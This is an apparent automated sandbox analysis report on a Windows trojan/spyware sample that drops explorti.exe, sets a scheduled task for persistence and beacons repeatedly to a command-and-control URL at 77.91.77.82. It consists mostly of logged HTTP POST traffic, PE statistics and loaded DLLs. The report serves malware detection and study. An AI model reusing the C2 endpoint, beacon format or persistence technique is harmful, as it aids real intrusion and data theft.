Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: Joe Sandbox View

IP Address: 77.91.77.82 77.91.77.82

Source: Joe Sandbox View

ASN Name: FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU

Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Code function: 7_2_00E9BD30 InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

7_2_00E9BD30

Source: unknown

HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: explorti.exe, 00000007.00000002.2880581504.00000000006FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php
Source: explorti.exe, 00000007.00000002.2880581504.00000000006BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php
Source: explorti.exe, 00000007.00000002.2880581504.00000000006FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php02k02k02k02k02k02k
Source: explorti.exe, 00000007.00000002.2880581504.00000000006BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phpC
Source: explorti.exe, 00000007.00000002.2880581504.00000000006BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phpM
Source: explorti.exe, 00000007.00000002.2880581504.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phpT
Source: explorti.exe, 00000007.00000002.2880581504.00000000006BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phpW
Source: explorti.exe, 00000007.00000002.2880581504.00000000006BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phpa
Source: explorti.exe, 00000007.00000002.2880581504.00000000006FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phpft
Source: explorti.exe, 00000007.00000002.2880581504.00000000006BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phpk
Source: explorti.exe, 00000007.00000002.2880581504.00000000006BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phpu

System Summary

PE file contains section with special chars

Source: gNo9ad9KO4.exe	Static PE information: section name:
Source: gNo9ad9KO4.exe	Static PE information: section name: .idata
Source: gNo9ad9KO4.exe	Static PE information: section name:
Source: explorti.exe.0.dr	Static PE information: section name:
Source: explorti.exe.0.dr	Static PE information: section name: .idata
Source: explorti.exe.0.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\gNo9ad9KO4.exe

File created: C:\Windows\Tasks\explorti.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 7_2_00E94CD0	7_2_00E94CD0
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 7_2_00ED3048	7_2_00ED3048
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 7_2_00E9E9B0	7_2_00E9E9B0
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 7_2_00EC7D63	7_2_00EC7D63
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 7_2_00ED6EE9	7_2_00ED6EE9
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 7_2_00E94AD0	7_2_00E94AD0
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 7_2_00ED763B	7_2_00ED763B
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 7_2_00ED2BB0	7_2_00ED2BB0
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 7_2_00ED775B	7_2_00ED775B
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 7_2_00ED8700	7_2_00ED8700

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Code function: String function: 00EA7840 appears 32 times

Source: gNo9ad9KO4.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: gNo9ad9KO4.exe	Static PE information: Section: ZLIB complexity 0.9984631147540983
Source: gNo9ad9KO4.exe	Static PE information: Section: adkjkfkz ZLIB complexity 0.9944319686081694
Source: explorti.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9984631147540983
Source: explorti.exe.0.dr	Static PE information: Section: adkjkfkz ZLIB complexity 0.9944319686081694

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@5/3@0/1

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Desktop\gNo9ad9KO4.exe

File created: C:\Users\user\AppData\Local\Temp\ad40971b6b

Jump to behavior

Source: C:\Users\user\Desktop\gNo9ad9KO4.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\gNo9ad9KO4.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: gNo9ad9KO4.exe

Virustotal: Detection: 51%

Source: gNo9ad9KO4.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\gNo9ad9KO4.exe

File read: C:\Users\user\Desktop\gNo9ad9KO4.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\gNo9ad9KO4.exe "C:\Users\user\Desktop\gNo9ad9KO4.exe"
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe "C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe "C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe"	Jump to behavior

Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
